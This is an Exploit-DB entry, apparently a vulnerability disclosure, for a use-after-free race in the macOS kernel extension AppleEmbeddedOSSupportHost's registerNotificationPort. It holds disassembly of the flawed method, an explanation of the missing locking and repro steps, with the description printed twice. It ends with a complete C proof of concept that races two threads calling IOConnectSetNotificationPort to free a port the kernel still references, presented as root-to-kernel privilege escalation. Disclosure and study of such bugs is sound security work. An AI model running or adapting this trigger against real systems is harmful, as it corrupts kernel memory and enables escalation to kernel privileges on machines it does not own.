macOS Kernel - Use-After-Free Due to Lack of Locking in 'AppleEmbeddedOSSupportHostClient::registerNotificationPort'

EDB-ID:

44007


Platform:

macOS

Published:

2018-02-09

/*
AppleEmbeddedOSSupportHost.kext is presumably involved in the communication with the OS running on the touch bar on new MBP models.

Here's the userclient's registerNotificationPort method:

__text:0000000000002DE4 ; AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *, unsigned int, unsigned int)
__text:0000000000002DE4                 push    rbp
__text:0000000000002DE5                 mov     rbp, rsp
__text:0000000000002DE8                 push    r14
__text:0000000000002DEA                 push    rbx
__text:0000000000002DEB                 mov     r14, rsi
__text:0000000000002DEE                 mov     rbx, rdi
__text:0000000000002DF1                 mov     rdi, [rbx+0E8h]
__text:0000000000002DF8                 test    rdi, rdi
__text:0000000000002DFB                 jz      short loc_2E0D
__text:0000000000002DFD                 call    __ZN12IOUserClient23releaseNotificationPortEP8ipc_port ; IOUserClient::releaseNotificationPort(ipc_port *)
__text:0000000000002E02                 mov     qword ptr [rbx+0E8h], 0
__text:0000000000002E0D
__text:0000000000002E0D loc_2E0D:                               ; CODE XREF: AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *,uint,uint)+17j
__text:0000000000002E0D                 mov     [rbx+0E8h], r14
__text:0000000000002E14                 xor     eax, eax
__text:0000000000002E16                 pop     rbx
__text:0000000000002E17                 pop     r14
__text:0000000000002E19                 pop     rbp
__text:0000000000002E1A                 retn

The IOUserClient superclass doesn't implement any locking for this method; it's up to the user client itself to correctly prevent
dangerous concurrent accesses.

By calling registerNotificationPort in two threads in parallel we can cause a AppleEmbeddedOSSupportHostClient to drop two references on a port when 
it only holds one.

Note that AppleEmbeddedOSSupportHostClient is only reachable by root so this is a root -> kernel priv esc.

Repro like this: while true; do ./embedded_host; done

Please test on a machine which has a touchbar!
 > kextstat | grep AppleEmbeddedOSSupport
should display something if it does.
*/

// ianbeer
#if 0
MacOS kernel uaf due to lack of locking in AppleEmbeddedOSSupportHostClient::registerNotificationPort

AppleEmbeddedOSSupportHost.kext is presumably involved in the communication with the OS running on the touch bar on new MBP models.

Here's the userclient's registerNotificationPort method:

__text:0000000000002DE4 ; AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *, unsigned int, unsigned int)
__text:0000000000002DE4                 push    rbp
__text:0000000000002DE5                 mov     rbp, rsp
__text:0000000000002DE8                 push    r14
__text:0000000000002DEA                 push    rbx
__text:0000000000002DEB                 mov     r14, rsi
__text:0000000000002DEE                 mov     rbx, rdi
__text:0000000000002DF1                 mov     rdi, [rbx+0E8h]
__text:0000000000002DF8                 test    rdi, rdi
__text:0000000000002DFB                 jz      short loc_2E0D
__text:0000000000002DFD                 call    __ZN12IOUserClient23releaseNotificationPortEP8ipc_port ; IOUserClient::releaseNotificationPort(ipc_port *)
__text:0000000000002E02                 mov     qword ptr [rbx+0E8h], 0
__text:0000000000002E0D
__text:0000000000002E0D loc_2E0D:                               ; CODE XREF: AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *,uint,uint)+17j
__text:0000000000002E0D                 mov     [rbx+0E8h], r14
__text:0000000000002E14                 xor     eax, eax
__text:0000000000002E16                 pop     rbx
__text:0000000000002E17                 pop     r14
__text:0000000000002E19                 pop     rbp
__text:0000000000002E1A                 retn

The IOUserClient superclass doesn't implement any locking for this method; it's up to the user client itself to correctly prevent
dangerous concurrent accesses.

By calling registerNotificationPort in two threads in parallel we can cause a AppleEmbeddedOSSupportHostClient to drop two references on a port when 
it only holds one.

Note that AppleEmbeddedOSSupportHostClient is only reachable by root so this is a root -> kernel priv esc.

Repro like this: while true; do ./embedded_host; done

Please test on a machine which has a touchbar!
 > kextstat | grep AppleEmbeddedOSSupport
should display something if it does.
#endif

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>

#include <mach/mach.h>
#include <mach/host_priv.h>

#include <IOKit/IOKitLib.h>

mach_port_t q() {
  mach_port_t p = MACH_PORT_NULL;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
  mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
  return p;
}

volatile int start = 0;
volatile mach_port_t conn;

void* racer(void* arg) {
  while(!start){;}
	IOConnectSetNotificationPort(conn, 0, MACH_PORT_NULL, 0);
  return NULL;
}



int main() {
	kern_return_t err;
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleEmbeddedOSSupportHost"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  mach_port_t p = q();

	IOConnectSetNotificationPort(conn, 0, p, 0);

  //mach_port_destroy(mach_task_self(), p);
  // kernel holds the only ref


  int n_threads = 2;
  pthread_t threads[n_threads];
  for(uint32_t i = 0; i < n_threads; i++) {
    pthread_create(&threads[i], NULL, racer, NULL);
  }

  start = 1;

  for(uint32_t i = 0; i < n_threads; i++) {
    pthread_join(threads[i], NULL);
	}

  return 0;
}